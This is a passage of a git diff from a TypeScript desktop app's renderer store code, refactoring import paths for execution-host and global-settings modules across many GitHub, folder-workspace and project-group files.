a/src/renderer/src/runtime/workspace-layout/server/server-layout-frame-ids.ts +++ b/src/renderer/src/runtime/workspace-layout/server/server-layout-frame-ids.ts @@ -4,7 +4,7 @@ import { LOCAL_EXECUTION_HOST_ID, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { toRemoteRuntimePtyId } from '../../../../../shared/remote-runtime/remote-runtime-pty-id' import type { TabContentType } from '../../../../../shared/workspace-layout/tab-groups/tab-types' import { diff --git a/src/renderer/src/runtime/workspace-layout/testing/main-loaded-layout-frames.test-fixture.ts b/src/renderer/src/runtime/workspace-layout/testing/main-loaded-layout-frames.test-fixture.ts index 6376a57921b..dc5b70a666e 100644 --- a/src/renderer/src/runtime/workspace-layout/testing/main-loaded-layout-frames.test-fixture.ts +++ b/src/renderer/src/runtime/workspace-layout/testing/main-loaded-layout-frames.test-fixture.ts @@ -1,6 +1,6 @@ // Feed switch-on tests main’s loaded partition frames instead of the window’s own restore. -import type { ExecutionHostId } from '../../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { WorkspaceSessionState } from '../../../../../shared/workspace-session/workspace-session-state-types' import { loadWorkspaceLayoutWithoutReport } from '../../../../../shared/workspace-layout/persistence/workspace-layout-load' import { nameBasedLoadContext } from '../../../../../shared/workspace-layout/persistence/workspace-layout-minted-ids' diff --git a/src/renderer/src/startup/startup-worktree-refresh.ts b/src/renderer/src/startup/startup-worktree-refresh.ts index 0318fd68afe..0a374867bd8 100644 --- a/src/renderer/src/startup/startup-worktree-refresh.ts +++ b/src/renderer/src/startup/startup-worktree-refresh.ts @@ -1,6 +1,6 @@ import type { StartupActions } from '../app-shell/startup-actions-selector' import { useAppStore } from '../store' -import type { ExecutionHostId } from '../../../shared/execution-host' +import type { ExecutionHostId } from '../../../shared/execution-host/execution-host' import { purgeHydratedWorktrees } from '../store/slices/worktrees/listing/hydrated-worktree-purge' import type { WorktreeRefreshResult } from '../store/slices/worktrees/listing/worktree-refresh-result' import { timeRendererStartupStep } from './startup-diagnostics' diff --git a/src/renderer/src/store/folder-workspaces/folder-path-status.ts b/src/renderer/src/store/folder-workspaces/folder-path-status.ts index b9ef23111dd..3b049480416 100644 --- a/src/renderer/src/store/folder-workspaces/folder-path-status.ts +++ b/src/renderer/src/store/folder-workspaces/folder-path-status.ts @@ -7,7 +7,10 @@ import { import { getProjectGroupSubtreeIds } from '../../../../shared/project/groups/project-groups' import { isPathInsideOrEqual } from '../../../../shared/file-access/cross-platform-path' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import type { FolderWorkspacePathStatusCacheEntry, FolderWorkspacePathStatusRouteOptions diff --git a/src/renderer/src/store/folder-workspaces/folder-workspace-catalog-actions.ts b/src/renderer/src/store/folder-workspaces/folder-workspace-catalog-actions.ts index 69a321b1c7c..fedd9ea2ee9 100644 --- a/src/renderer/src/store/folder-workspaces/folder-workspace-catalog-actions.ts +++ b/src/renderer/src/store/folder-workspaces/folder-workspace-catalog-actions.ts @@ -1,7 +1,10 @@ import { continueFolderLaunchDrafts } from '@/components/native-chat/drafts/native-chat-launch-draft-continuity' import type { StateCreator } from 'zustand' import type { AppState } from '../types' -import { toRuntimeExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + toRuntimeExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { runtimeTargetForOwnerEnvironment } from '../../runtime/rpc/targets/runtime-client-target' import type { RepoSlice } from '../repos/repo-state' diff --git a/src/renderer/src/store/folder-workspaces/folder-workspace-catalog.ts b/src/renderer/src/store/folder-workspaces/folder-workspace-catalog.ts index 6cf4cdd606d..e5b942c325b 100644 --- a/src/renderer/src/store/folder-workspaces/folder-workspace-catalog.ts +++ b/src/renderer/src/store/folder-workspaces/folder-workspace-catalog.ts @@ -8,7 +8,7 @@ import { toSshExecutionHostId, type ExecutionHostId, getRepoExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { folderWorkspaceKey, parseWorkspaceKey diff --git a/src/renderer/src/store/folder-workspaces/folder-workspace-record-index.ts b/src/renderer/src/store/folder-workspaces/folder-workspace-record-index.ts index 6117f798459..9087b6b3ed2 100644 --- a/src/renderer/src/store/folder-workspaces/folder-workspace-record-index.ts +++ b/src/renderer/src/store/folder-workspaces/folder-workspace-record-index.ts @@ -3,8 +3,8 @@ import type { QualifiedFolderHostState, FolderHostWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-execution-host' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { FolderWorkspace } from '../../../../shared/folder-workspaces/folder-workspace-types' import { selectFolderWorkspaces } from '../workspaces/catalog/workspace-record-fields' diff --git a/src/renderer/src/store/folder-workspaces/folder-workspace-removal.ts b/src/renderer/src/store/folder-workspaces/folder-workspace-removal.ts index d399f862b8a..70750473897 100644 --- a/src/renderer/src/store/folder-workspaces/folder-workspace-removal.ts +++ b/src/renderer/src/store/folder-workspaces/folder-workspace-removal.ts @@ -7,7 +7,7 @@ import { launchDraftSource } from '@/components/native-chat/drafts/native-chat-l import * as chatDrafts from '../slices/worktrees/teardown/removed-worktree-chat-drafts' import { callRuntimeRpc } from '../../runtime/rpc/calls/runtime-rpc-call' import { folderWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { projectGroupHookOwner } from '../../../../shared/workspace-setup/hooks/workspace-hook-owner' import { PROJECT_GROUP_FOLDER_ARCHIVE_RUNTIME_CAPABILITY } from '../../../../shared/remote-runtime/protocol/worktree-runtime-capabilities' import { diff --git a/src/renderer/src/store/folder-workspaces/folder-workspace-routing.ts b/src/renderer/src/store/folder-workspaces/folder-workspace-routing.ts index 594c70bfe7d..3bc242caf26 100644 --- a/src/renderer/src/store/folder-workspaces/folder-workspace-routing.ts +++ b/src/renderer/src/store/folder-workspaces/folder-workspace-routing.ts @@ -4,7 +4,7 @@ import { runtimeTargetForOwnerEnvironment } from '../../runtime/rpc/targets/runt import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { runtimeTargetForWorkspaceOwner } from '@/lib/workspace/ownership/resolve-owner' import type { WorktreeOperationRouteState } from '@/lib/workspace/ownership/worktree-operation-route' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import { folderWorkspaceKey } from '../../../../shared/workspace/identity/workspace-scope' import type { FolderWorkspacePathStatusRouteOptions } from '../repos/repo-state' import type { FolderWorkspaceUpdateField } from './folder-workspace-mutations' diff --git a/src/renderer/src/store/github/cache/cache-identity.ts b/src/renderer/src/store/github/cache/cache-identity.ts index 41d827f7608..fb78f7d46b4 100644 --- a/src/renderer/src/store/github/cache/cache-identity.ts +++ b/src/renderer/src/store/github/cache/cache-identity.ts @@ -2,7 +2,7 @@ import { githubRepoIdentityKey } from '../../../../../shared/github/repositories import { githubProjectIdentityKey } from '../../../../../shared/github/projects/project-identity' import type { PRCheckDetail } from '../../../../../shared/github/checks/check-types' import type { GitHubRepositoryIdentity as GitHubOwnerRepo } from '../../../../../shared/github/repositories/repository-identity' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { GetProjectViewTableArgs } from '../../../../../shared/github/projects/project-request-types' import { type TaskSourceContext, @@ -14,7 +14,7 @@ import { getRepoExecutionHostId, normalizeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { composeRepoCacheKey, getGitHubRepoCacheKey, diff --git a/src/renderer/src/store/github/checks/check-details-failure-mapping.test.ts b/src/renderer/src/store/github/checks/check-details-failure-mapping.test.ts index cdfaac440cf..26d8314b0c8 100644 --- a/src/renderer/src/store/github/checks/check-details-failure-mapping.test.ts +++ b/src/renderer/src/store/github/checks/check-details-failure-mapping.test.ts @@ -1,5 +1,5 @@ import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest' -import { createGlobalSettingsFixture } from '../../../../../shared/global-settings-test-fixture' +import { createGlobalSettingsFixture } from '../../../../../shared/settings/global-settings-test-fixture' import { recordRuntimeSubscription } from '@/runtime/rpc/testing/runtime-environment-bridge-fixture' import { createTestStore, diff --git a/src/renderer/src/store/github/github-slice-contract.ts b/src/renderer/src/store/github/github-slice-contract.ts index b90bb04e701..0c1b993e049 100644 --- a/src/renderer/src/store/github/github-slice-contract.ts +++ b/src/renderer/src/store/github/github-slice-contract.ts @@ -26,7 +26,7 @@ import type { } from '../../../../shared/github/projects/project-result-types' import type { GetProjectViewTableArgs } from '../../../../shared/github/projects/project-request-types' import type { TaskSourceContext } from '../../../../shared/work-items/task-source-context' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' import type { CacheEntry, diff --git a/src/renderer/src/store/github/projects/github-project-row-owner.ts b/src/renderer/src/store/github/projects/github-project-row-owner.ts index 4bfdcdbacdd..bb2e6d0faf1 100644 --- a/src/renderer/src/store/github/projects/github-project-row-owner.ts +++ b/src/renderer/src/store/github/projects/github-project-row-owner.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import type { Repo } from '../../../../../shared/repository/repo-types' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { runtimeTargetForRepoOwner } from '@/lib/workspace/ownership/repo-runtime-owner' diff --git a/src/renderer/src/store/github/pull-requests/linked-review-clear.ts b/src/renderer/src/store/github/pull-requests/linked-review-clear.ts index 559865f7411..352137d472c 100644 --- a/src/renderer/src/store/github/pull-requests/linked-review-clear.ts +++ b/src/renderer/src/store/github/pull-requests/linked-review-clear.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { CLEARED_HOSTED_REVIEW_SELECTION_UPDATES } from '../../../../../shared/worktree/hosted-review/hosted-review-links' import { shouldApplyBranchMismatchedLinkedPRClear, diff --git a/src/renderer/src/store/github/pull-requests/pr-result-cache.ts b/src/renderer/src/store/github/pull-requests/pr-result-cache.ts index fafc8f2f5f7..95beb21acea 100644 --- a/src/renderer/src/store/github/pull-requests/pr-result-cache.ts +++ b/src/renderer/src/store/github/pull-requests/pr-result-cache.ts @@ -8,7 +8,7 @@ import type { LinkedReviewClearScope } from './linked-review-clear' import type { AppState } from '../../types' import type { RuntimeFocusSettings } from '../../../../../shared/github/cache/github-cache-key' import type { PRInfo } from '../../../../../shared/github/pull-requests/pull-request-types' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getHostedReviewCacheKey } from '../../slices/hosted-review/hosted-review-cache-identity' import type { GitHubPRFallbackSource } from '../cache/cache-model' import { withBoundedCacheEntry } from '../cache/cache-policy' diff --git a/src/renderer/src/store/github/pull-requests/pull-request-actions.ts b/src/renderer/src/store/github/pull-requests/pull-request-actions.ts index a3d7854a482..05158fb84e5 100644 --- a/src/renderer/src/store/github/pull-requests/pull-request-actions.ts +++ b/src/renderer/src/store/github/pull-requests/pull-request-actions.ts @@ -25,7 +25,7 @@ import { captureLinkedReviewClearScope, clearLinkedReview } from './linked-revie import { shouldClearDivergedLinkedMergedPR } from '../../../../../shared/github/pull-requests/refresh/linked-pr-staleness' import { startPullRequestLookup } from './pull-request-execution' import { findWorktreeById } from '../refresh/worktree-refresh' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' export const createPullRequestActions = ( set: Parameters>[0], diff --git a/src/renderer/src/store/github/pull-requests/pull-request-execution.ts b/src/renderer/src/store/github/pull-requests/pull-request-execution.ts index bb87a75e6dd..b3604e3e911 100644 --- a/src/renderer/src/store/github/pull-requests/pull-request-execution.ts +++ b/src/renderer/src/store/github/pull-requests/pull-request-execution.ts @@ -21,7 +21,7 @@ import { githubPRTransportFailureOutcome } from '../../../../../shared/github/pull-requests/refresh/pull-request-for-branch-outcome' import { isPRRevalidationOnly } from '../../../../../shared/github/pull-requests/refresh/pull-request-refresh-types' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { callRuntimeRpc } from '../../../runtime/rpc/calls/runtime-rpc-call' import { inflightPRRequests, prRequestGenerations } from '../requests/request-coordination' import { getRuntimeRepoTarget } from '../repositories/repository-routing' diff --git a/src/renderer/src/store/github/refresh/pr-auto-refresh-cadence-observer.ts b/src/renderer/src/store/github/refresh/pr-auto-refresh-cadence-observer.ts index 65d47a6fd24..54b0229342e 100644 --- a/src/renderer/src/store/github/refresh/pr-auto-refresh-cadence-observer.ts +++ b/src/renderer/src/store/github/refresh/pr-auto-refresh-cadence-observer.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { setPRAutoRefreshCadence } from '../../../../../shared/source-control/hosted-review/review-refresh-policy' type CadenceState = { settings: Pick | null } diff --git a/src/renderer/src/store/github/refresh/refresh-routing-actions.ts b/src/renderer/src/store/github/refresh/refresh-routing-actions.ts index 0cd50386047..acfd7e503c1 100644 --- a/src/renderer/src/store/github/refresh/refresh-routing-actions.ts +++ b/src/renderer/src/store/github/refresh/refresh-routing-actions.ts @@ -2,7 +2,7 @@ import type { StateCreator } from 'zustand' import type { AppState } from '../../types' import type { GitHubSlice } from '../github-slice-contract' import type { GitHubPRRefreshCandidate } from '../../../../../shared/github/pull-requests/refresh/pull-request-refresh-types' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { bypassesGitHubPRRefreshFreshness } from './pr-refresh-state' import { enqueueLocalGitHubPRRefresh, diff --git a/src/renderer/src/store/github/refresh/refresh-sweep-actions.ts b/src/renderer/src/store/github/refresh/refresh-sweep-actions.ts index 7f1dc6cd561..fc803e47f54 100644 --- a/src/renderer/src/store/github/refresh/refresh-sweep-actions.ts +++ b/src/renderer/src/store/github/refresh/refresh-sweep-actions.ts @@ -1,7 +1,7 @@ import type { StateCreator } from 'zustand' import type { AppState } from '../../types' import type { GitHubSlice } from '../github-slice-contract' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { getWorktreeGitHubIssueRepository } from '../../../../../shared/worktree/github-issue-repository' import { buildPRRefreshCandidate, findWorktreeReviewOwner } from './worktree-refresh' import { issueCacheKey } from '../cache/cache-identity' diff --git a/src/renderer/src/store/github/refresh/remote-host-pr-auto-refresh-cadence-sync.ts b/src/renderer/src/store/github/refresh/remote-host-pr-auto-refresh-cadence-sync.ts index a6dce59938b..6f786acc48a 100644 --- a/src/renderer/src/store/github/refresh/remote-host-pr-auto-refresh-cadence-sync.ts +++ b/src/renderer/src/store/github/refresh/remote-host-pr-auto-refresh-cadence-sync.ts @@ -1,4 +1,4 @@ -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' import { runtimeHostContactForEntry } from '../../../../../shared/remote-runtime/host-status/runtime-host-contact' import { callRuntimeRpc } from '@/runtime/rpc/calls/runtime-rpc-call' import { subscribeRuntimeHostContactRegained } from '@/runtime/hosts/connections/runtime-host-contact-regained' diff --git a/src/renderer/src/store/github/refresh/worktree-refresh.ts b/src/renderer/src/store/github/refresh/worktree-refresh.ts index 9fa5862306a..be8dc374cf6 100644 --- a/src/renderer/src/store/github/refresh/worktree-refresh.ts +++ b/src/renderer/src/store/github/refresh/worktree-refresh.ts @@ -5,7 +5,7 @@ import { parseExecutionHostId, toRuntimeExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { isMacAppDataPath } from '@/app-shell/platform/passive-macos-app-data-access' import { diff --git a/src/renderer/src/store/github/repositories/github-repo-lookup-index.ts b/src/renderer/src/store/github/repositories/github-repo-lookup-index.ts index c5b8472553f..6e9e8e97b48 100644 --- a/src/renderer/src/store/github/repositories/github-repo-lookup-index.ts +++ b/src/renderer/src/store/github/repositories/github-repo-lookup-index.ts @@ -1,4 +1,4 @@ -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import type { Repo } from '../../../../../shared/repository/repo-types' type IndexedRepo = { diff --git a/src/renderer/src/store/github/repositories/repository-routing.ts b/src/renderer/src/store/github/repositories/repository-routing.ts index 90d56a3baf1..51485dd2b1a 100644 --- a/src/renderer/src/store/github/repositories/repository-routing.ts +++ b/src/renderer/src/store/github/repositories/repository-routing.ts @@ -14,7 +14,7 @@ import { normalizeExecutionHostId, parseExecutionHostId, toRuntimeExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' /** The server-side repo for a request already routed to `target`; `null` when it runs here. */ export function getRuntimeRepoTarget( diff --git a/src/renderer/src/store/github/task-records/task-record-cache.ts b/src/renderer/src/store/github/task-records/task-record-cache.ts index 83f73ff788c..a15ae50e940 100644 --- a/src/renderer/src/store/github/task-records/task-record-cache.ts +++ b/src/renderer/src/store/github/task-records/task-record-cache.ts @@ -6,7 +6,7 @@ import type { StoreApi } from 'zustand' import { githubTaskIdentity } from '@/lib/work-items/github/github-task-target' import { getWorkItemRepo } from '@/lib/work-items/work-item-repo-row' import { lookupReposBySlugFromCache } from '@/lib/workspace/catalog/repo-slug-cache' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { structuralValuesEqual } from '../../../../../shared/collections/structural-value-equality' import { projectViewSourceScope } from '../cache/cache-identity' import type { RuntimeClientTarget } from '../../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/store/github/task-records/task-record-model.ts b/src/renderer/src/store/github/task-records/task-record-model.ts index 96371f13f0a..783d055b010 100644 --- a/src/renderer/src/store/github/task-records/task-record-model.ts +++ b/src/renderer/src/store/github/task-records/task-record-model.ts @@ -3,7 +3,7 @@ import type { Repo } from '../../../../../shared/repository/repo-types' import type { GitHubProjectRow } from '../../../../../shared/github/projects/project-types' import type { GitHubTaskObservation } from '@/lib/work-items/github/github-task-observation' import { parseGitHubIssueOrPRLink } from '../../../../../shared/github/repositories/links' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { githubRepoIdentityKey } from '../../../../../shared/github/repositories/repository-identity-key' import type { HostIdentityFence } from '../../../runtime/rpc/environment-revisions/host-identity-fence' import { applyTaskChange, type TaskChange, type TaskFacts } from './task-change' diff --git a/src/renderer/src/store/github/task-records/task-record-owners.ts b/src/renderer/src/store/github/task-records/task-record-owners.ts index 48308ab8e68..d8335a4274e 100644 --- a/src/renderer/src/store/github/task-records/task-record-owners.ts +++ b/src/renderer/src/store/github/task-records/task-record-owners.ts @@ -13,7 +13,7 @@ import { import { githubTaskIdentity } from '@/lib/work-items/github/github-task-target' import { getWorkItemRepo } from '@/lib/work-items/work-item-repo-row' import { parseGitHubIssueOrPRLink } from '../../../../../shared/github/repositories/links' -import { getRepoExecutionHostId } from '../../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../../shared/execution-host/execution-host' import { nextProviderRequestId } from '../requests/request-coordination' import { isHostIdentityContinued, diff --git a/src/renderer/src/store/github/work-items/work-item-mutation-actions.ts b/src/renderer/src/store/github/work-items/work-item-mutation-actions.ts index 7c598fbd980..f80d6b7497b 100644 --- a/src/renderer/src/store/github/work-items/work-item-mutation-actions.ts +++ b/src/renderer/src/store/github/work-items/work-item-mutation-actions.ts @@ -5,7 +5,10 @@ import { toast } from 'sonner' import { parseGitHubIssueOrPRLink } from '../../../../../shared/github/repositories/links' import { githubRepoIdentityKey } from '../../../../../shared/github/repositories/repository-identity-key' import { getTaskSourceCacheScope } from '../../../../../shared/work-items/task-source-context' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../../shared/execution-host/execution-host' import { translate } from '@/i18n/i18n' import { repoMatchesHostIdentity } from '../../repos/repo-host-identity' import { diff --git a/src/renderer/src/store/github/work-items/work-item-routing.ts b/src/renderer/src/store/github/work-items/work-item-routing.ts index 236523a8629..5a35e8dfd12 100644 --- a/src/renderer/src/store/github/work-items/work-item-routing.ts +++ b/src/renderer/src/store/github/work-items/work-item-routing.ts @@ -15,7 +15,7 @@ import { getRepoExecutionHostId, parseExecutionHostId, type ExecutionHostId -} from '../../../../../shared/execution-host' +} from '../../../../../shared/execution-host/execution-host' import { classifyGitHubUnavailable } from '../../../../../shared/github/api/api-availability' import { callRuntimeRpc } from '../../../runtime/rpc/calls/runtime-rpc-call' import { RuntimeRpcCallError } from '../../../runtime/rpc/calls/runtime-rpc-result' diff --git a/src/renderer/src/store/host-catalog/endpoint-catalog-adoption.ts b/src/renderer/src/store/host-catalog/endpoint-catalog-adoption.ts index c863f4445ca..3fb97576724 100644 --- a/src/renderer/src/store/host-catalog/endpoint-catalog-adoption.ts +++ b/src/renderer/src/store/host-catalog/endpoint-catalog-adoption.ts @@ -7,7 +7,7 @@ import { LOCAL_EXECUTION_HOST_ID, toSshExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { adoptEndpointProjectHostSetup, adoptEndpointRepo diff --git a/src/renderer/src/store/host-catalog/removed-runtime-host-rows.ts b/src/renderer/src/store/host-catalog/removed-runtime-host-rows.ts index 9bfc5f1c243..9bdd1bb2e51 100644 --- a/src/renderer/src/store/host-catalog/removed-runtime-host-rows.ts +++ b/src/renderer/src/store/host-catalog/removed-runtime-host-rows.ts @@ -1,4 +1,4 @@ -import { parseExecutionHostId } from '../../../../shared/execution-host' +import { parseExecutionHostId } from '../../../../shared/execution-host/execution-host' /** Match only explicitly removed runtime IDs; serving-local runtime stamps may never have belonged to this instance’s saved list, so absence cannot prove removal. */ export function isRemovedRuntimeHostId( diff --git a/src/renderer/src/store/plugins/frames/plugin-frame-isolation.ts b/src/renderer/src/store/plugins/frames/plugin-frame-isolation.ts index 40ae2fe3b34..2b594ed3600 100644 --- a/src/renderer/src/store/plugins/frames/plugin-frame-isolation.ts +++ b/src/renderer/src/store/plugins/frames/plugin-frame-isolation.ts @@ -1,7 +1,7 @@ import { create } from 'zustand' import { isWebClientLocation } from '@/app-shell/platform/web-client-location' import { useAppStore } from '@/store/index' -import type { GlobalSettings } from '../../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../../shared/settings/global-settings-types' /** * Whether this window can give plugin frames an isolated guest. Browser clients never can; the diff --git a/src/renderer/src/store/project-groups/project-group-batch-update.ts b/src/renderer/src/store/project-groups/project-group-batch-update.ts index 66f85869212..5cde609d50a 100644 --- a/src/renderer/src/store/project-groups/project-group-batch-update.ts +++ b/src/renderer/src/store/project-groups/project-group-batch-update.ts @@ -11,7 +11,7 @@ import { resolveProjectGroupOwnerHostId, runtimeTargetForProjectGroupOwner } from './project-group-owner-routing' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getRuntimeTargetHostId } from '../../runtime/rpc/targets/runtime-client-target' import { adoptFromEndpoint } from '../host-catalog/endpoint-catalog-adoption' import { persistProjectGroupUpdates } from './project-group-update-persistence' diff --git a/src/renderer/src/store/project-groups/project-group-catalog.ts b/src/renderer/src/store/project-groups/project-group-catalog.ts index 423057ab665..1388048b33b 100644 --- a/src/renderer/src/store/project-groups/project-group-catalog.ts +++ b/src/renderer/src/store/project-groups/project-group-catalog.ts @@ -2,14 +2,14 @@ import type { ProjectGroup } from '../../../../shared/project/groups/project-gro import { callRuntimeRpc } from '../../runtime/rpc/calls/runtime-rpc-call' import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' import { catalogOwnsHost } from './project-group-owner-routing' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import { getRuntimeTargetHostId } from '../../runtime/rpc/targets/runtime-client-target' import { adoptFromEndpoint } from '../host-catalog/endpoint-catalog-adoption' import { mergeByIdentity, unchangedMergeSource } from '../../lib/catalog-reconciliation/catalog-identity' -import type { ExecutionHostId } from '../../../../shared/execution-host' +import type { ExecutionHostId } from '../../../../shared/execution-host/execution-host' export type FetchedProjectGroupCatalog = { projectGroups: ProjectGroup[] diff --git a/src/renderer/src/store/project-groups/project-group-mutations.ts b/src/renderer/src/store/project-groups/project-group-mutations.ts index 701633a45fe..a2858db6e3d 100644 --- a/src/renderer/src/store/project-groups/project-group-mutations.ts +++ b/src/renderer/src/store/project-groups/project-group-mutations.ts @@ -17,7 +17,7 @@ import { } from '../repos/repo-host-identity' import { callRuntimeRpc } from '../../runtime/rpc/calls/runtime-rpc-call' import { ipcOrRuntimeTargetForHostId } from '../../runtime/rpc/targets/runtime-client-target' -import { getRepoExecutionHostId } from '../../../../shared/execution-host' +import { getRepoExecutionHostId } from '../../../../shared/execution-host/execution-host' import type { ProjectRemovalFailure, RepoSlice } from '../repos/repo-state' import { mergeProjectCompatibilityForHostRepoChange } from '../repos/repo-catalog-identity' import { applyProjectGroupDeleteCascade } from './project-group-removal-state' diff --git a/src/renderer/src/store/project-groups/project-group-owner-routing.ts b/src/renderer/src/store/project-groups/project-group-owner-routing.ts index a1d8741bbbd..27704ab8315 100644 --- a/src/renderer/src/store/project-groups/project-group-owner-routing.ts +++ b/src/renderer/src/store/project-groups/project-group-owner-routing.ts @@ -1,11 +1,11 @@ -import type { GlobalSettings } from '../../../../shared/global-settings-types' +import type { GlobalSettings } from '../../../../shared/settings/global-settings-types' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import { getRepoExecutionHostId, LOCAL_EXECUTION_HOST_ID, parseExecutionHostId, type ExecutionHostId -} from '../../../../shared/execution-host' +} from '../../../../shared/execution-host/execution-host' import { findIndexedProjectGroupOwner } from '@/lib/workspace/ownership/worktree-runtime-owner-index' import { getRuntimeTargetHostId, diff --git a/src/renderer/src/store/project-groups/project-group-removal-state.ts b/src/renderer/src/store/project-groups/project-group-removal-state.ts index 73ac6b56cb8..5be1ba6e553 100644 --- a/src/renderer/src/store/project-groups/project-group-removal-state.ts +++ b/src/renderer/src/store/project-groups/project-group-removal-state.ts @@ -2,7 +2,10 @@ import { projectGroupHookTrustKey } from '../../../../shared/workspace-setup/hoo import type { AppState } from '../types' import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import { getProjectGroupSubtreeIds } from '../../../../shared/project/groups/project-groups' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { catalogOwnsHost } from './project-group-owner-routing' import type { RepoSlice } from '../repos/repo-state' import '../../../../shared/folder-workspaces/folder-workspace-execution-host' diff --git a/src/renderer/src/store/project-groups/project-group-removal-targets.ts b/src/renderer/src/store/project-groups/project-group-removal-targets.ts index 99b464ec2a3..dce86215b80 100644 --- a/src/renderer/src/store/project-groups/project-group-removal-targets.ts +++ b/src/renderer/src/store/project-groups/project-group-removal-targets.ts @@ -1,7 +1,10 @@ import type { ProjectGroup } from '../../../../shared/project/groups/project-group-types' import type { Repo } from '../../../../shared/repository/repo-types' import { getProjectGroupSubtreeIds } from '../../../../shared/project/groups/project-groups' -import { getRepoExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + getRepoExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { catalogOwnsHost } from './project-group-owner-routing' export type ProjectGroupRemovalProject = { id: string; hostId: ExecutionHostId } diff --git a/src/renderer/src/store/projects/project-host-routing.ts b/src/renderer/src/store/projects/project-host-routing.ts index b4458cd8c89..1c1009c0415 100644 --- a/src/renderer/src/store/projects/project-host-routing.ts +++ b/src/renderer/src/store/projects/project-host-routing.ts @@ -12,7 +12,10 @@ import { PROJECT_HOST_SETUP_RUNTIME_CAPABILITY, WORKSPACE_RUN_CONTEXT_RUNTIME_CAPABILITY } from '../../../../shared/remote-runtime/protocol/worktree-runtime-capabilities' -import { parseExecutionHostId, type ExecutionHostId } from '../../../../shared/execution-host' +import { + parseExecutionHostId, + type ExecutionHostId +} from '../../../../shared/execution-host/execution-host' import { assertRuntimeEnvironmentCapability } from '../../runtime/rpc/compatibility/runtime-capability-proof' import { callRuntimeRpc } from '../../runtime/rpc/calls/runtime-rpc-call' import type { RuntimeClientTarget } from '../../../../shared/remote-runtime/host-catalog/runtime-client-target' diff --git a/src/renderer/src/store/projects/project-host-setup-actions.ts b/src/renderer/src/store/projects/project-host-setup-actions.ts index b7397399307..35990b9aab8 100644 --- 